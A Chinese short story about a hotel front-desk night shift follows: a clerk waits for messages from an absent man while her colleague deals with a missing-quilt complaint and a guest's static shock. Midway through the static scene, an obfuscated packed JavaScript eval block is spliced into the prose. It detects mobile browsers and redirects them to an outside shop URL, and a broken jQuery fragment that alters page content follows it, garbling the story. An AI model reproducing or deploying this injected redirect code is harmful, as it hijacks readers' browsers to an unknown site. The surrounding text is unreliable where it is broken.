凌晨一点，酒店大堂终于安静下来。最后一波入住高峰过去以后，自动门开合的频率明显慢了。水晶灯亮着，空调吹着恒温的冷风，前台电脑屏幕上的房态图密密麻麻，却已经很久没有新增入住。
林深坐在前台后面剪视频，视频素材是前几天拍的上海夜景——高架桥，路灯，凌晨的街道。她拖着时间轴，剪了半天，一个镜头都没删。手机放在键盘旁边，屏幕黑着。她隔几分钟就会瞟一眼，不是故意的，已经变成习惯了。
Helen从后面走过来，拿着咖啡。
“你最近是不是又开始等消息了？”
林深头都没抬：“没有。”
Helen冷笑：“你一天看八百次手机。”
“工作需要。”
“前台又不用微信办入住。”
林深没说话。
Helen坐到旁边：“他又开始消失了？”
沉默两秒。“嗯。”
“几天了？”
“差不多四天。”
Helen点点头，一点都不意外，就像听见天气预报说明天降温。“那挺正常。”
林深无奈地笑：“为什么从你嘴里说出来，像一件很合理的事。”
“因为确实很合理。他一直这样，你一直没跑，那他为什么要改？”
大厅忽然安静下来。林深盯着电脑屏幕，一个字都说不出来。Helen总是这样——平时嘻嘻哈哈，偶尔一句话直接扎肺管子。
就在这时，前台电话响了。林深像获得赦免一样赶紧接起来。
“您好，前台。”
电话那头是个男客人，语气已经明显不耐烦：“我半小时前要的被子呢？”
林深一愣，立刻看系统记录——1708，确实登记过。“先生您稍等，我帮您确认一下。”
“确认三次了。”
“非常抱歉。”
“我要睡觉。”
“马上帮您催。”
挂断电话以后，林深立刻打给客房中心。
“1708的被子送了吗？”
对面声音很平静：“送了。”
“客人说没收到。”
“那应该快到了。”
“半小时前申请的。”
“我帮你问一下阿姨。”
电话挂断，林深看着听筒陷入沉思。酒店里有几个特别神奇的词：马上，在路上，问一下。这三个词加在一起，时间长度无限。
Helen在旁边听完笑了：“客房部？”
“嗯。”
“正常。”
林深已经发现了——酒店所有部门里，前厅部和客房部关系最微妙。平时见面都客客气气，真遇到事，互相都觉得对方有病。前厅部觉得客房部永远在路上，客房部觉得前厅部永远在催命。
又过了十分钟，1708再次来电。
“被子呢？”
林深还没开口，Helen直接把电话接过去。
“先生您好，我是今晚值班经理，非常抱歉，我刚刚已经联系客房主管了，是的，正在送，最多五分钟。”
挂断以后，Helen重新拨通客房电话。
“姐，1708第四次了，救命。”
电话那头不知道说了什么，Helen立刻换成笑脸。
“谢谢姐。”
挂断。三分钟以后，客人没再打电话。Helen靠在椅背上。
“送到了。”
“你怎么知道？”
“因为客房主管接电话了。”
“区别很大吗？”
“很大。”Helen一本正经，“阿姨说在路上，主管说谢谢姐。谢谢姐比较有用。”
林深笑得不行。她发现Helen处理事情特别神奇，不是靠职位，是靠经验。
凌晨两点半，大堂重新恢复平静。林深继续剪视频，手机还是没亮。宋青瓷像突然从世界上消失了一样——没有消息，没有电话，没有朋友圈，没有任何动静。可偏偏她知道他还活着。这种感觉最难受，如果彻底结束反而简单，最怕的是一直吊着。
就在这时，前台电话再次响起。林深顺手接起，下一秒她坐直了。
“什么？”
电话那头情绪非常激动：“你们酒店漏电！”
林深脑子嗡了一下。“先生您先别碰任何电器。”
“我被电到了。”
“您现在还好吗？”
“当然不好！”
“好的，我们马上上来。”
挂断电话，林深整个人都精神了。Helen看她一眼。
“怎么了？”
“1906说漏电。”
Helen放下咖啡：“走。”
电梯里，林深有点紧张。“如果真漏电怎么办？”Helen看着不断跳动的楼层。“先别慌。”“为什么？”“真正严重的客人不会先打电话。”林深愣住。“什么意思？”Helen淡定得要命。“真出事了，120比前台快。”林深差点笑出来。
电梯到达十九楼，1906房门打开，客人穿着浴袍站在门口，神情严肃得像刚经历过重大事故。
“你们终于来了。”
Helen礼貌点头：“先生您好，哪里漏电？”
客人指着床头台灯：“这里，刚刚电了我两次。”
Helen走过去仔细看一眼——台灯正常，插座正常，灯也正常。客人伸手示范，啪，轻轻一下。客人立刻后退。
“你看！”
林深也有点紧张。Helen却没什么反应，她看了看地毯，又看了看客人的羊毛睡衣，再看了一眼天气，瞬间明白了。
“先生，这应该不是漏电。”
客人不高兴了：“我都被电了。”
“更像静电。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714618|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“不可能。”
Helen沉默两秒，伸出手。“您碰我一下。”
客人愣了，林深也愣了。空气安静了三秒，客人还是伸手碰了一下。啪。Helen也被电了一下。
Helen面无表情：“您看，您把我也电了。”
空气突然安静。林深死死咬着嘴唇，快憋疯了。她不敢笑，真的不敢。可这句话太离谱了。客人站在那里，明显也懵了。
“静电？”
Helen点头：“天气干燥，地毯摩擦，很正常。”
客人沉默半天，最后勉强接受：“那你们送个加湿器吧。”
“好的，马上送。”
走出房间以后，电梯门刚关上，林深就笑疯了。靠着电梯墙笑得直不起腰。
“您把我也电了。”
Helen终于也笑了：“我不这么说，他不会信。”
回到前台，已经凌晨三点多。Helen继续做报表，林深继续剪视频。
林深看了一眼手机，凌晨四点，视频终于导出成功，后台开始跑流量。第一条评论很快出现。“有些人为什么总是忽冷忽热？”林深看着那句话，很久没动。
早上九点零八分，工作群亮了。Jessica。
“328房金额错了。”
“看见回复。”
“人呢？”
没人回。Helen已经下班了，正在班车上。
她掏出手机看了一眼，直接锁屏。
林深看着那条消息，忽然想起Jessica是早九晚五双休的人——她半夜不会出现，她只在她该在的时间发疯。可夜班的人，永远在她发疯的时候睡觉。
Jessica永远不理解为什么白天找不到夜班的人，夜班的人也永远不理解为什么她早上刚上班就开始找人。
九点十五分，Helen还在回家的班车上。她手机又震了一下，工作群。Jessica。
“Kevin。”
“昨天的表呢？”
三分钟后。
“人呢？”
下午五点零三分，Kevin终于醒了，在群里回了一句：“刚醒。”
Jessica秒回：“你是猪？”
Kevin没再回。群又死了。
下午五点半，林深睡醒了。她拿起手机，微信安安静静，没有宋青瓷。
她忽然发现一件事——Jessica天天骂人，但每天都在；Helen天天吐槽，也每天都在；客房部天天和前厅部互相嫌弃，也每天都在。只有那个最温柔的人，总是在消失。而她偏偏最在意他。
阳光从窗户照进来，林深坐在床边，手机依旧安静。她低头看了一眼，又放回口袋。昨晚被子送到了，静电解释清楚了，金额错误也改完了。酒店里的大部分问题都有解决办法，只有某个人不回消息这件事，直到现在，她还是不会处理。